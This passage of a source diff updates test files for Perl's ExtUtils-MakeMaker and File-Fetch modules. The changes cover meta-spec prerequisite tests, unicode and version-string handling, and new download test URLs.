- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
- } } )
- }, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
+ is_deeply $mm->metafile_data, {
prereqs => {
- configure => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- },
- build => {
- requires => {
- 'Fake::Module1' => 1.01,
- },
- },
- },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
+ @REQ20,
+ build => { requires => { 'Fake::Module1' => 1.01, }, },
},
+ @GENERIC_OUT,
},'BUILD_REQUIRES meta-spec 2.0';
}
# Test TEST_REQUIRES meta-spec 1.4
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- TEST_REQUIRES => {
- "Fake::Module1" => 1.01,
- },
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
+ @GENERIC_IN,
+ TEST_REQUIRES => { "Fake::Module1" => 1.01, },
+ META_MERGE => { "meta-spec" => { version => 1.4 }},
);
-
- is_deeply {$mm->metafile_data}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- build_requires => {
- 'ExtUtils::MakeMaker' => 0,
- 'Fake::Module1' => 1.01,
+ is_deeply $mm->metafile_data( {}, { @METASPEC14 }, ), {
+ prereqs => {
+ @REQ20,
+ test => { requires => { "Fake::Module1" => 1.01, }, },
},
+ @GENERIC_OUT,
+ },'TEST_REQUIRES meta-spec 1.4';
+}
- no_index => {
- directory => [qw(t inc)],
+# Test TEST_REQUIRES meta-spec 2.0
+{
+ my $mm = $new_mm->(
+ @GENERIC_IN,
+ TEST_REQUIRES => { "Fake::Module1" => 1.01, },
+ );
+ is_deeply $mm->metafile_data, {
+ prereqs => {
+ @REQ20,
+ test => { requires => { "Fake::Module1" => 1.01, }, },
},
+ @GENERIC_OUT,
+ },'TEST_REQUIRES meta-spec 2.0';
+}
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
+{
+ my $mm = $new_mm->(
+ @GENERIC_IN,
+ );
+ is_deeply $mm->metafile_data(
+ {
+ resources => {
+ homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+ repository => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+ },
},
- },'TEST_REQUIRES meta-spec 1.4';
+ { @METASPEC14 },
+ ), {
+ prereqs => { @REQ20 },
+ resources => {
+ homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+ repository => {
+ url => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+ },
+ },
+ @GENERIC_OUT,
+ }, 'META_ADD takes meta version 1.4 from META_MERGE';
}
-# Test TEST_REQUIRES meta-spec 2.0
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- TEST_REQUIRES => {
- "Fake::Module1" => 1.01,
+ @GENERIC_IN,
+ );
+ is_deeply $mm->metafile_data(
+ { @METASPEC14 },
+ {
+ resources => {
+ homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+ repository => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+ },
},
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
+ ), {
+ prereqs => { @REQ20 },
+ resources => {
+ homepage => "https://metacpan.org/release/ExtUtils-MakeMaker",
+ repository => {
+ url => "http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker",
+ },
},
- META_MERGE => { "meta-spec" => { version => 2 }},
- );
-
- is_deeply {
- $mm->metafile_data(
- {}, {
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
- } } )
- }, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
+ @GENERIC_OUT,
+ }, 'META_MERGE takes meta version 1.4 from META_ADD';
+}
- prereqs => {
- configure => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- },
- build => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
+{
+ my $mm = $new_mm->(
+ @GENERIC_IN,
+ );
+ is_deeply $mm->metafile_data(
+ {
+ 'configure_requires' => {
+ 'Fake::Module1' => 1,
},
- test => {
- requires => {
- "Fake::Module1" => 1.01,
+ 'prereqs' => {
+ @REQ20,
+ 'test' => {
+ 'requires' => {
+ 'Fake::Module2' => 2,
+ },
},
},
},
-
- no_index => {
- directory => [qw(t inc)],
+ { @METASPEC20 },
+ ), {
+ prereqs => {
+ @REQ20,
+ test => { requires => { "Fake::Module2" => 2, }, },
},
+ @GENERIC_OUT,
+ }, 'META_ADD takes meta version 2 from META_MERGE';
+}
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2
+{
+ my $mm = $new_mm->(
+ @GENERIC_IN,
+ );
+ is_deeply $mm->metafile_data(
+ { @METASPEC20 },
+ {
+ 'configure_requires' => {
+ 'Fake::Module1' => 1,
+ },
+ 'prereqs' => {
+ @REQ20,
+ 'test' => {
+ 'requires' => {
+ 'Fake::Module2' => 2,
+ },
+ },
+ },
},
- },'TEST_REQUIRES meta-spec 2.0';
+ ), {
+ prereqs => {
+ @REQ20,
+ test => { requires => { "Fake::Module2" => 2, }, },
+ },
+ @GENERIC_OUT,
+ }, 'META_MERGE takes meta version 2 from META_ADD';
}
-
# Test _REQUIRES key priority over META_ADD
-
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
- BUILD_REQUIRES => {
- "Fake::Module1" => 1.01,
- },
+ @GENERIC_IN,
+ BUILD_REQUIRES => { "Fake::Module1" => 1.01, },
META_ADD => (my $meta_add = { build_requires => {}, configure_requires => {} }),
- PM => {
- "Foo::Bar" => 'lib/Foo/Bar.pm',
- },
);
-
- is_deeply {$mm->metafile_data($meta_add)}, {
- name => 'Foo-Bar',
- version => 1.23,
- abstract => 'unknown',
- author => [],
- license => 'unknown',
- dynamic_config => 1,
- distribution_type => 'module',
-
- configure_requires => { },
- build_requires => { },
-
- no_index => {
- directory => [qw(t inc)],
- },
-
- generated_by => "ExtUtils::MakeMaker version $ExtUtils::MakeMaker::VERSION",
- 'meta-spec' => {
- url => 'http://module-build.sourceforge.net/META-spec-v1.4.html',
- version => 1.4
+ is_deeply $mm->metafile_data($meta_add), {
+ prereqs => {
+ configure => { requires => { }, },
+ build => { requires => { }, },
},
+ @GENERIC_OUT,
},'META.yml data (META_ADD wins)';
-
-
# Yes, this is all hard coded.
- require CPAN::Meta;
+
my $want_mymeta = {
name => 'ExtUtils-MakeMaker',
version => '6.57_07',
@@ -675,7 +389,6 @@ my $new_mm = sub {
author => ['Michael G Schwern <schwern@pobox.com>'],
license => ['perl_5'],
dynamic_config => 0,
-
prereqs => {
runtime => {
requires => {
@@ -686,18 +399,9 @@ my $new_mm = sub {
"perl" => "5.006",
},
},
- configure => {
- requires => {
- 'ExtUtils::MakeMaker' => 0,
- },
- },
- build => {
- requires => {
- 'Fake::Module1' => 1.01,
- },
- },
+ @REQ20,
+ build => { requires => { 'Fake::Module1' => 1.01, }, },
},
-
release_status => 'testing',
resources => {
license => [ 'http://dev.perl.org/licenses/' ],
@@ -706,23 +410,16 @@ my $new_mm = sub {
repository => { url => 'http://github.com/Perl-Toolchain-Gang/ExtUtils-MakeMaker' },
x_MailingList => 'makemaker@perl.org',
},
-
no_index => {
directory => [qw(t inc)],
package => ["DynaLoader", "in"],
},
-
generated_by => "ExtUtils::MakeMaker version 6.5707, CPAN::Meta::Converter version 2.110580",
- 'meta-spec' => {
- url => 'http://search.cpan.org/perldoc?CPAN::Meta::Spec',
- version => 2,
- },
+ @METASPEC20,
};
-
mymeta_ok $mm->mymeta("t/META_for_testing.json"),
$want_mymeta,
'MYMETA JSON data (BUILD_REQUIRES wins)';
-
mymeta_ok $mm->mymeta("t/META_for_testing.yml"),
$want_mymeta,
'MYMETA YAML data (BUILD_REQUIRES wins)';
@@ -730,13 +427,11 @@ my $new_mm = sub {
{
my $mm = $new_mm->(
- DISTNAME => 'Foo-Bar',
- VERSION => 1.23,
+ @GENERIC_IN,
CONFIGURE_REQUIRES => { "Fake::Module0" => 0.99 },
BUILD_REQUIRES => { "Fake::Module1" => 1.01 },
TEST_REQUIRES => { "Fake::Module2" => 1.23 },
);
-
my $meta = $mm->mymeta('t/META_for_testing.json');
is($meta->{configure_requires}, undef, "no configure_requires in v2 META");
is($meta->{build_requires}, undef, "no build_requires in v2 META");
@@ -745,13 +440,11 @@ my $new_mm = sub {
{ "Fake::Module0" => 0.99 },
"configure requires are one thing in META v2...",
);
-
is_deeply(
$meta->{prereqs}{build}{requires},
{ "Fake::Module1" => 1.01 },
"build requires are one thing in META v2...",
);
-
is_deeply(
$meta->{prereqs}{test}{requires},
{ "Fake::Module2" => 1.23 },
@@ -759,7 +452,8 @@ my $new_mm = sub {
);
}
-note "CPAN::Meta bug using the module version instead of the meta spec version"; {
+note "CPAN::Meta bug using the module version instead of the meta spec version";
+{
my $mm = $new_mm->(
NAME => 'GD::Barcode::Code93',
AUTHOR => 'Chris DiMartino',
@@ -770,38 +464,33 @@ note "CPAN::Meta bug using the module version instead of the meta spec version";
},
VERSION => '1.4',
);
-
my $meta = $mm->mymeta("t/META_for_testing_tricky_version.yml");
is $meta->{'meta-spec'}{version}, 2, "internally, our MYMETA struct is v2";
-
in_dir {
$mm->write_mymeta($meta);
ok -e "MYMETA.yml";
ok -e "MYMETA.json";
-
my $meta_yml = Parse::CPAN::Meta->load_file("MYMETA.yml");
is $meta_yml->{'meta-spec'}{version}, 1.4, "MYMETA.yml correctly downgraded to 1.4";
-
my $meta_json = Parse::CPAN::Meta->load_file("MYMETA.json");
cmp_ok $meta_json->{'meta-spec'}{version}, ">=", 2, "MYMETA.json at 2 or better";
};
}
-
-note "A bad license string"; {
+note "A bad license string";
+{
my $mm = $new_mm->(
- DISTNAME => 'Foo::Bar',
- VERSION => '1.4',
+ @GENERIC_IN,
LICENSE => 'death and retribution',
);
-
in_dir {
my $meta = $mm->mymeta;
- $mm->write_mymeta($meta);
-
+ {
+ local $SIG{__WARN__} = sub {}; # suppress "Invalid" warning
+ $mm->write_mymeta($meta);
+ }
my $meta_yml = Parse::CPAN::Meta->load_file("MYMETA.yml");
is $meta_yml->{license}, "unknown", "in yaml";
-
my $meta_json = Parse::CPAN::Meta->load_file("MYMETA.json");
is_deeply $meta_json->{license}, ["unknown"], "in json";
};
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/os_unsupported.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/os_unsupported.t
new file mode 100644
index 00000000000..42396c0547e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/os_unsupported.t
@@ -0,0 +1,15 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ unshift @INC, 't/lib';
+}
+
+use strict;
+use Test::More tests => 1;
+use ExtUtils::MakeMaker;
+
+eval q{
+ os_unsupported();
+};
+
+like( $@, qr/^OS unsupported$/, 'OS Unsupported' );
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/parse_abstract.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/parse_abstract.t
index d9c9b3c55f5..18a45193019 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/parse_abstract.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/parse_abstract.t
@@ -13,16 +13,17 @@ sub test_abstract {
local $Test::Builder::Level = $Test::Builder::Level + 1;
- my ($fh,$file) = tempfile( DIR => 't', UNLINK => 1 );
- print $fh $code;
- close $fh;
-
- # Hack up a minimal MakeMaker object.
- my $mm = bless { DISTNAME => $package }, "MM";
- my $have = $mm->parse_abstract($file);
-
- my $ok = is( $have, $want, $name );
-
+ my $ok = 0;
+ for my $crlf (0, 1) {
+ my ($fh,$file) = tempfile( DIR => 't', UNLINK => 1 );
+ binmode $fh, $crlf ? ':crlf' : ':raw';
+ print $fh $code;
+ close $fh;
+ # Hack up a minimal MakeMaker object.
+ my $mm = bless { DISTNAME => $package }, "MM";
+ my $have = $mm->parse_abstract($file);
+ $ok += is( $have, $want, "$name :crlf=$crlf" ) ? 1 : 0;
+ }
return $ok;
}
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prereq_print.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prereq_print.t
index b6e12ef00f2..c6135e472ca 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prereq_print.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prereq_print.t
@@ -28,10 +28,12 @@ my $Perl = which_perl();
my $Makefile = makefile_name();
my $Is_VMS = $^O eq 'VMS';
-my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
-chdir $tmpdir;
+chdir 't';
+perl_lib; # sets $ENV{PERL5LIB} relative to t/
-perl_lib;
+my $tmpdir = tempdir( DIR => '../t', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
+chdir $tmpdir;
$| = 1;
@@ -48,6 +50,7 @@ unlink $Makefile;
my $prereq_out = run(qq{$Perl Makefile.PL "PREREQ_PRINT=1"});
ok( !-r $Makefile, "PREREQ_PRINT produces no $Makefile" );
is( $?, 0, ' exited normally' );
+$prereq_out =~ s/^'chcp' is not recognized.*batch file\.//s; # remove errors
{
package _Prereq::Print;
no strict;
@@ -61,7 +64,7 @@ is( $?, 0, ' exited normally' );
$prereq_out = run(qq{$Perl Makefile.PL "PRINT_PREREQ=1"});
ok( !-r $Makefile, "PRINT_PREREQ produces no $Makefile" );
is( $?, 0, ' exited normally' );
-::like( $prereq_out, qr/^perl\(strict\) \s* >= \s* 0 \s*$/x,
+::like( $prereq_out, qr/^perl\(strict\) \s* >= \s* 0 \s*$/mx,
'prereqs dumped' );
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/problems.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/problems.t
index 3aeba706ef2..ffe3f059c8c 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/problems.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/problems.t
@@ -6,20 +6,35 @@ BEGIN {
chdir 't';
use strict;
-use Test::More tests => 6;
+use Test::More tests => 5;
use ExtUtils::MM;
-use MakeMaker::Test::Setup::Problem;
+use MakeMaker::Test::Utils;
+use File::Path;
use TieOut;
my $MM = bless { DIR => ['subdir'] }, 'MM';
-
-ok( setup_recurs(), 'setup' );
+my $DIRNAME = 'Problem-Module';
+my %FILES = (
+ 'Makefile.PL' => <<'END',
+use ExtUtils::MakeMaker;
+WriteMakefile(NAME => 'Problem::Module');
+END
+
+ 'subdir/Makefile.PL' => <<'END',
+printf "\@INC %s .\n", (grep { $_ eq '.' } @INC) ? "has" : "doesn't have";
+warn "I think I'm going to be sick\n";
+die "YYYAaaaakkk\n";
+END
+
+);
+
+hash2files($DIRNAME, \%FILES);
END {
- ok( chdir File::Spec->updir );
- ok( teardown_recurs(), 'teardown' );
+ ok( chdir File::Spec->updir, 'chdir ..' );
+ ok( rmtree($DIRNAME), 'teardown' );
}
-ok( chdir 'Problem-Module', "chdir'd to Problem-Module" ) ||
+ok( chdir $DIRNAME, "chdir'd to Problem-Module" ) ||
diag("chdir failed: $!");
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prompt.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prompt.t
index d6f343eb6a1..453a695ca05 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prompt.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/prompt.t
@@ -35,16 +35,11 @@ like( $stdout->read, qr/^Foo\?\s*\n$/, ' question' );
is( prompt("Foo?", 'Bar!'), 'Bar!', 'default' );
like( $stdout->read, qr/^Foo\? \[Bar!\]\s+Bar!\n$/, ' question' );
-
-SKIP: {
- skip "eof() doesn't honor ties in 5.5.3", 3 if $] < 5.006;
-
- $ENV{PERL_MM_USE_DEFAULT} = 0;
- close STDIN;
- my $stdin = tie *STDIN, 'TieIn' or die;
- $stdin->write("From STDIN");
- ok( !-t STDIN, 'STDIN not a tty' );
-
- is( prompt("Foo?", 'Bar!'), 'From STDIN', 'from STDIN' );
- like( $stdout->read, qr/^Foo\? \[Bar!\]\s*$/, ' question' );
-}
+$ENV{PERL_MM_USE_DEFAULT} = 0;
+close STDIN;
+my $stdin = tie *STDIN, 'TieIn' or die;
+$stdin->write("From STDIN");
+ok( !-t STDIN, 'STDIN not a tty' );
+
+is( prompt("Foo?", 'Bar!'), 'From STDIN', 'from STDIN' );
+like( $stdout->read, qr/^Foo\? \[Bar!\]\s*$/, ' question' );
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/test_boilerplate.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/test_boilerplate.t
index f48324f2ba8..fa826311375 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/test_boilerplate.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/test_boilerplate.t
@@ -14,8 +14,6 @@ use lib './lib';
use strict;
use ExtUtils::MakeMaker;
-use Test::More;
+use Test::More tests => 1;
-pass("Your test code goes here");
-
-done_testing();
+ok(1, "Your test code goes here");
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/unicode.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/unicode.t
index 2bb56aad3e3..557ac775404 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/unicode.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/unicode.t
@@ -6,27 +6,74 @@ BEGIN {
chdir 't';
use strict;
+use ExtUtils::MM;
+use MakeMaker::Test::Utils qw(makefile_name make make_run run hash2files);
use Test::More;
use Config;
+use File::Path;
+use utf8;
BEGIN {
plan skip_all => 'Need perlio and perl 5.8+.'
if $] < 5.008 or !$Config{useperlio};
- plan tests => 9;
+ plan skip_all => 'cross-compiling and make not available'
+ if !MM->can_run(make()) && $ENV{PERL_CORE} && $Config{'usecrosscompile'};
+
+ plan tests => 8;
}
-use ExtUtils::MM;
-use MakeMaker::Test::Setup::Unicode;
-use MakeMaker::Test::Utils qw(makefile_name make_run run);
use TieOut;
my $MM = bless { DIR => ['.'] }, 'MM';
-ok( setup_recurs(), 'setup' );
+my $DIRNAME = 'Problem-Module';
+my %FILES = (
+ 'Makefile.PL' => <<'PL_END',
+use ExtUtils::MakeMaker;
+use utf8;
+WriteMakefile(
+ NAME => 'Problem::Module',
+ ABSTRACT_FROM => 'lib/Problem/Module.pm',
+ AUTHOR => q{Danijel Tašov},
+ EXE_FILES => [ qw(bin/probscript) ],
+ INSTALLMAN1DIR => "some", # even if disabled in $Config{man1dir}
+ MAN1EXT => 1, # set to 0 if man pages disabled
+);
+PL_END
+
+ 'lib/Problem/Module.pm' => <<'pm_END',
+use utf8;
+
+=pod
+
+=encoding utf8
+
+=head1 NAME
+
+Problem::Module - Danijel Tašov's great new module
+
+=cut
+
+1;
+pm_END
+
+ 'bin/probscript' => <<'pl_END',
+#!/usr/bin/perl
+use utf8;
+
+=encoding utf8
+
+=head1 NAME
+
+文档 - Problem script
+pl_END
+);
+
+hash2files($DIRNAME, \%FILES);
END {
ok( chdir File::Spec->updir, 'chdir updir' );
- ok( teardown_recurs(), 'teardown' );
+ ok( rmtree($DIRNAME), 'teardown' );
}
-ok( chdir 'Problem-Module', "chdir'd to Problem-Module" ) ||
+ok( chdir $DIRNAME, "chdir'd to $DIRNAME" ) ||
diag("chdir failed: $!");
if ($] >= 5.008) {
@@ -52,6 +99,7 @@ if ($] >= 5.008) {
my $json = do { local $/; <$json_fh> };
close $json_fh;
+ no utf8; # leave the data below as bytes and let Encode sort it out
require Encode;
my $str = Encode::decode( 'utf8', "Danijel Tašov's" );
like( $json, qr/$str/, 'utf8 abstract' );
@@ -60,8 +108,8 @@ if ($] >= 5.008) {
}
my $make = make_run();
-my $make_out = run("$make");
-is $? >> 8, 0, 'Exit code of make == 0';
+my $make_out = run($make);
+diag $make_out unless is $? >> 8, 0, 'Exit code of make == 0';
my $manfile = File::Spec->catfile(qw(blib man1 probscript.1));
SKIP: {
@@ -73,13 +121,14 @@ SKIP: {
my $man = do { local $/; <$man_fh> };
close $man_fh;
+ no utf8; # leave the data below as bytes and let Encode sort it out
require Encode;
my $str = Encode::decode( 'utf8', "文档" );
like( $man, qr/$str/, 'utf8 man-snippet' );
}
$make_out = run("$make realclean");
-is $? >> 8, 0, 'Exit code of make == 0';
+diag $make_out unless is $? >> 8, 0, 'Exit code of make == 0';
sub makefile_content {
open my $fh, '<', makefile_name or die;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/vstrings.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/vstrings.t
index 1020f558dbd..9f88399ebd8 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/vstrings.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/vstrings.t
@@ -15,13 +15,55 @@ use warnings;
use TieOut;
use MakeMaker::Test::Utils qw(makefile_name);
use File::Temp qw[tempdir];
+use Test::More;
use ExtUtils::MakeMaker;
-use Test::More;
my $tmpdir = tempdir( DIR => '.', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
chdir $tmpdir;
+my $UNDEFRE = qr/Undefined requirement .* treated as '0'/;
+my $UNPARSABLERE = qr/Unparsable\s+version/;
+# [ pkg, version, okwarningRE, descrip, nocmrRE ]
+# only supply nocmrRE if want to treat differently when no CMR
+my @DATA = (
+ [ Undef => undef, $UNDEFRE, 'Undef' ],
+ [ ZeroLength => '', $UNDEFRE, 'Zero-length' ],
+ [ SemiColon => '0;', $UNPARSABLERE, 'Semi-colon after 0' ],
+ [ BrokenString => 'nan', $UNPARSABLERE, 'random string' ],
+ [ Decimal2 => 1.2, qr/^$/, '2-part Decimal' ],
+ [ Decimal2String => '1.2', qr/^$/, '2-part Decimal String' ],
+ [ Decimal2Underscore => '1.02_03', qr/^$/, '2-part Underscore String' ],
+ [ Decimal3String => '1.2.3', qr/^$/, '3-part Decimal String', $UNPARSABLERE ],
+ [ BareV2String => v1.2, qr/^$/, '2-part bare v-string', $UNPARSABLERE ],
+ [ BareV3String => v1.2.3, qr/^$/, '3-part bare V-string', $UNPARSABLERE ],
+ [ V2DecimalString => 'v1.2', qr/^$/, '2-part v-decimal string', $UNPARSABLERE ],
+ [ V3DecimalString => 'v1.2.3', qr/^$/, '3-part v-Decimal String', $UNPARSABLERE ],
+ [ RangeString => '>= 5.0, <= 6.0', qr/^$/, 'Version range', $UNPARSABLERE ],
+ [ Scientific => 0.000005, qr/^$/, 'Scientific Notation' ],
+);
+
+plan tests => (1 + (@DATA * 4));
+
+ok my $stdout = tie(*STDOUT, 'TieOut'), 'tie STDOUT';
+
+# fake CMR to test fallback if CMR not present
+my $CMR = 'CPAN/Meta/Requirements.pm';
+my $CM = 'CPAN/Meta.pm';
+$INC{$CMR} = undef;
+$INC{$CM} = undef;
+run_test(0, @$_) for @DATA;
+
+# now try to load real CMR
+delete $INC{$CMR};
+delete $INC{$CM};
+SKIP: {
+ skip 'No actual CMR found', 2 * @DATA
+ unless ExtUtils::MakeMaker::_has_cpan_meta_requirements;
+ run_test(1, @$_) for @DATA;
+}
+
sub capture_make {
my ($package, $version) = @_ ;
@@ -41,33 +83,23 @@ sub capture_make {
}
sub makefile_content {
- open my $fh, '<', makefile_name or die;
- return <$fh>;
+ my $file = makefile_name;
+ open my $fh, '<', $file or return "$file: $!\n";
+ join q{}, grep { $_ =~ /Fake/i } <$fh>;
}
-# [ pkg, version, pattern, descrip, invertre ]
-my @DATA = (
- [ DecimalString => '1.2.3', qr/isn't\s+numeric/, '3-part Decimal String' ],
- [ VDecimalString => 'v1.2.3', qr/Unparsable\s+version/, '3-part V-Decimal String' ],
- [ BareVString => v1.2.3, qr/Unparsable\s+version/, '3-part bare V-string' ],
- [ VDecimalString => 'v1.2', qr/Unparsable\s+version/, '2-part v-decimal string' ],
- [ BareVString => v1.2, qr/Unparsable\s+version/, '2-part bare v-string' ],
- [ BrokenString => 'nan', qr/Unparsable\s+version/, 'random string', 1 ],
-);
-
-ok(my $stdout = tie *STDOUT, 'TieOut');
-for my $tuple (@DATA) {
- my ($pkg, $version, $pattern, $descrip, $invertre) = @$tuple;
- next if $] < 5.008 && $pkg eq 'BareVString' && $descrip =~ m!^2-part!;
- my $out;
- eval { $out = capture_make("Fake::$pkg" => $version); };
- is($@, '', "$descrip not fatal");
- if ($invertre) {
- like ( $out , qr/$pattern/i, "$descrip parses");
- } else {
- unlike ( $out , qr/$pattern/i , "$descrip parses");
+sub run_test {
+ my ($gotrealcmr, $pkg, $version, $okwarningRE, $descrip, $nocmrRE) = @_;
+ local $_;
+ SKIP: {
+ skip "No vstring test <5.8", 2
+ if $] < 5.008 && $pkg eq 'BareV2String' && $descrip =~ m!^2-part!;
+ my $warnings;
+ eval { $warnings = capture_make("Fake::$pkg" => $version); };
+ is($@, '', "$descrip not fatal") or skip "$descrip WM failed", 1;
+ $warnings =~ s#^Warning: prerequisite Fake::$pkg.* not found\.\n##m;
+ my $re = (!$gotrealcmr && $nocmrRE) ? $nocmrRE : $okwarningRE;
+ like $warnings, $re, "$descrip handled right";
}
-# note(join q{}, grep { $_ =~ /Fake/i } makefile_content);
+# diag makefile_content();
}
-
-done_testing();
diff --git a/gnu/usr.bin/perl/cpan/File-Fetch/t/01_File-Fetch.t b/gnu/usr.bin/perl/cpan/File-Fetch/t/01_File-Fetch.t
index b4443e658b0..35f5c3ac263 100755
--- a/gnu/usr.bin/perl/cpan/File-Fetch/t/01_File-Fetch.t
+++ b/gnu/usr.bin/perl/cpan/File-Fetch/t/01_File-Fetch.t
@@ -65,10 +65,10 @@ my @map = (
path => '/CPAN/',
file => 'MIRRORING.FROM',
},
- { uri => 'git://github.com/jib/file-fetch.git',
+ { uri => 'git://github.com/Perl-Toolchain-Gang/file-fetch.git',
scheme => 'git',
host => 'github.com',
- path => '/jib/',
+ path => '/Perl-Toolchain-Gang/',
file => 'file-fetch.git',
},
{ uri => 'http://localhost/tmp/index.txt',
@@ -176,13 +176,13 @@ for my $entry (@map) {
### Heuristics
{
require IO::Socket::INET;
- my $sock = IO::Socket::INET->new( PeerAddr => 'ftp.funet.fi', PeerPort => 21, Timeout => 20 )
+ my $sock = IO::Socket::INET->new( PeerAddr => 'mirror.bytemark.co.uk', PeerPort => 21, Timeout => 20 )
or $heuristics{ftp} = 0;
}
### ftp:// tests ###
-{ my $uri = 'ftp://ftp.funet.fi/pub/CPAN/index.html';
- for (qw[lwp netftp wget curl lftp fetch ncftp]) {
+{ my $uri = 'ftp://mirror.bytemark.co.uk/CPAN/index.html';
+ for (qw[wget curl lftp fetch ncftp]) {
### STUPID STUPID warnings ###
next if $_ eq 'ncftp' and $File::Fetch::FTP_PASSIVE
@@ -195,14 +195,16 @@ for my $entry (@map) {
### Heuristics
{
require IO::Socket::INET;
- my $sock = IO::Socket::INET->new( PeerAddr => 'www.cpan.org', PeerPort => 80, Timeout => 20 )
+ my $sock = IO::Socket::INET->new( PeerAddr => 'httpbin.org', PeerPort => 80, Timeout => 20 )
or $heuristics{http} = 0;
}
### http:// tests ###
-{ for my $uri ( 'http://www.cpan.org/index.html',
- 'http://www.cpan.org/index.html?q=1',
- 'http://www.cpan.org/index.html?q=1&y=2',
+{ for my $uri ( 'http://httpbin.org/html',
+ 'http://httpbin.org/response-headers?q=1',
+ 'http://httpbin.org/response-headers?q=1&y=2',
+ #'http://www.cpan.org/index.html?q=1&y=2',
+ #'http://user:passwd@httpbin.org/basic-auth/user/passwd',
) {
for (qw[lwp httptiny wget curl lftp fetch lynx httplite iosock]) {
_fetch_uri( http => $uri, $_ );
@@ -233,9 +235,12 @@ for my $entry (@map) {
}
### git:// tests ###
-{ my $uri = 'git://github.com/jib/file-fetch.git';
+{ my $uri = 'git://github.com/Perl-Toolchain-Gang/file-fetch.git';
for (qw[git]) {
+ local $ENV{GIT_CONFIG_NOSYSTEM} = 1;
+ local $ENV{XDG_CONFIG_HOME};
+ local $ENV{HOME};
_fetch_uri( git => $uri, $_ );
}
}
diff --git a/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_101033.t b/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_101033.t
index 4df361481d2..2c4a323d813 100644
--- a/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_101033.t
+++ b/gnu/usr.bin/perl/cpan/Filter-Util-Call/t/rt_101033.t
